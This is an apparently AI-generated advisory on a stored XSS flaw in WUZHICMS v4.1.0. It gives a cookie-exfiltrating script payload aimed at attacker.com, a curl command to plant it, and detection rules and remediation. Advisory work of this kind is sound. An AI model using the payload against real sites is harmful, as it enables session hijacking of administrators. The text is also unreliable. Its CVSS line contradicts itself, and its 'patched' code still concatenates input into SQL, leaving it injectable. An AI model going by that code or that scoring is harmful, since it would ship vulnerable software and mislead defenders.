CVE-2024-32206

Executive Summary

CVE-2024-32206 is a stored cross-site scripting (XSS) vulnerability identified in WUZHICMS v4.1.0, specifically within the /affiche/admin/index.php component. An attacker can inject arbitrary web scripts or HTML via a crafted payload into the $formdata parameter. This vulnerability allows for persistent client-side attacks, potentially leading to session hijacking, credential theft, or defacement. As of this report, no official patch has been released, and the vendor's patch status remains unknown.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Base Score: 6.1)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed to trigger the stored XSS.
• User Interaction (UI): Required (R) – Victim must visit the affected page.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No impact on availability.
• Threat Level: Medium – Exploitation is straightforward but requires user interaction.

Deep Dive & Mechanics

The vulnerability resides in the $formdata parameter within /affiche/admin/index.php. The application fails to sanitize or encode user-supplied input before storing it in the database. When an administrator or user views the affected page, the stored payload is rendered in the browser without proper escaping, allowing arbitrary JavaScript execution.

Attack Flow:

1. Attacker crafts a malicious payload (e.g., <script>alert('XSS')</script>).
2. Attacker submits the payload via the $formdata parameter (likely through a POST request to /affiche/admin/index.php).
3. The payload is stored in the database.
4. When a victim (e.g., admin) accesses the page that displays the stored data, the script executes in their browser context.

Root Cause: Lack of input validation and output encoding on the $formdata parameter.

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code is assumed to be present in WUZHICMS v4.1.0. A patched version would require proper sanitization.

Vulnerable Code (Conceptual):

// /affiche/admin/index.php
$formdata = $_POST['formdata'];
// Directly stored without sanitization
$sql = "INSERT INTO affiche (data) VALUES ('$formdata')";
mysqli_query($conn, $sql);

Patched Code (Conceptual):

// /affiche/admin/index.php
$formdata = $_POST['formdata'];
// Sanitize input
$formdata = htmlspecialchars($formdata, ENT_QUOTES, 'UTF-8');
// Store safely
$sql = "INSERT INTO affiche (data) VALUES ('$formdata')";
mysqli_query($conn, $sql);

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• WUZHICMS v4.1.0 instance accessible.
• Ability to send POST requests to /affiche/admin/index.php.

Exploit Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Steps:

1. Send a POST request with the payload in the formdata parameter:

   curl -X POST http://target.com/affiche/admin/index.php -d "formdata=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"
   

2. Wait for an admin to view the affected page.
3. The admin's cookies are exfiltrated to the attacker's server.

Blue Team (Defense & Detection)

Detection:

• Monitor for unusual POST requests to /affiche/admin/index.php containing script tags or event handlers.
• Use WAF rules to block common XSS patterns.

Mitigation:

• Apply input validation and output encoding.
• Implement Content Security Policy (CSP) headers.
• Restrict access to admin pages via IP whitelisting or VPN.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /affiche/admin/index.php with formdata containing <script> tags.
  • Outbound connections to unknown domains from the CMS server.
• File System:
  • Modified entries in the affiche database table containing JavaScript.
• Logs:
  • Web server logs showing requests to /affiche/admin/index.php with suspicious parameters.

Detection Engineering

YARA Rule

rule CVE_2024_32206_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads targeting WUZHICMS v4.1.0"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-32206"
    strings:
        $xss1 = "<script" nocase
        $xss2 = "onerror=" nocase
        $xss3 = "onload=" nocase
        $xss4 = "javascript:" nocase
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: Stored XSS in WUZHICMS v4.1.0
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects POST requests to /affiche/admin/index.php with XSS payloads
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query: /affiche/admin/index.php
        cs-uri-query|contains: 
            - "<script"
            - "onerror="
            - "onload="
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in admin panel (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-32206 Stored XSS in WUZHICMS"; flow:to_server; content:"POST"; http_method; content:"/affiche/admin/index.php"; http_uri; content:"formdata"; http_client_body; pcre:"/(<script|onerror=|onload=)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable component if not essential.
2. Apply input validation – Sanitize all user inputs using htmlspecialchars() or equivalent.
3. Implement CSP – Add Content-Security-Policy: script-src 'self' header.
4. Restrict access – Limit admin panel access to trusted IPs.

Long-term Fix:

• Monitor vendor for an official patch.
• Consider migrating to a supported CMS if no patch is released.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.